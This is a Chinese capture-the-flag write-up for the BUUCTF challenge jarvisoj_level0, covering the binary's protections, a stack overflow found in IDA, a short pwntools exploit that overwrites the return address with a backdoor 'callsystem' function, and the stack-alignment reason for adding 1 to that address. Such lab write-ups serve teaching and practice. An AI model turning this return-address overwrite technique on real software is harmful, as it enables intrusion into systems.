BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
大方子8 小时前
【PolarCTF】PHP反序列化初试
网络安全·polarctf
Chen--Xing9 小时前
NSSCTF -- [tangcuxiaojkuai] -- easy_mod
ctf·writeup·crypto
b55t4ck11 小时前
Draytek vigo3910 工业路由器固件解密及其CVE-2024-23721漏洞分析
网络·物联网·网络安全
电子科技圈13 小时前
四大“门派”围攻边缘及端侧AI SoC市场“光明顶”
人工智能·嵌入式硬件·mcu·物联网·网络安全·音视频·语音识别
其实防守也摸鱼1 天前
CTF密码学综合教学指南--第九章
开发语言·网络·python·安全·网络安全·密码学·ctf
菩提小狗1 天前
每日安全情报报告 · 2026-05-02
网络安全·漏洞·cve·安全情报·每日安全
nikolay1 天前
AI重塑企业信息安全:攻防升级与信任重构
网络·人工智能·网络安全
藤原千花的败北2 天前
什么是服务端模板注入漏洞(SSTI)
网络安全
网安薯条2 天前
Kali Linux 虚拟机安装与基础配置保姆级图文教程
linux·运维·网络·安全·web安全·网络安全
C_lea2 天前
公钥私钥密钥
计算机网络·网络安全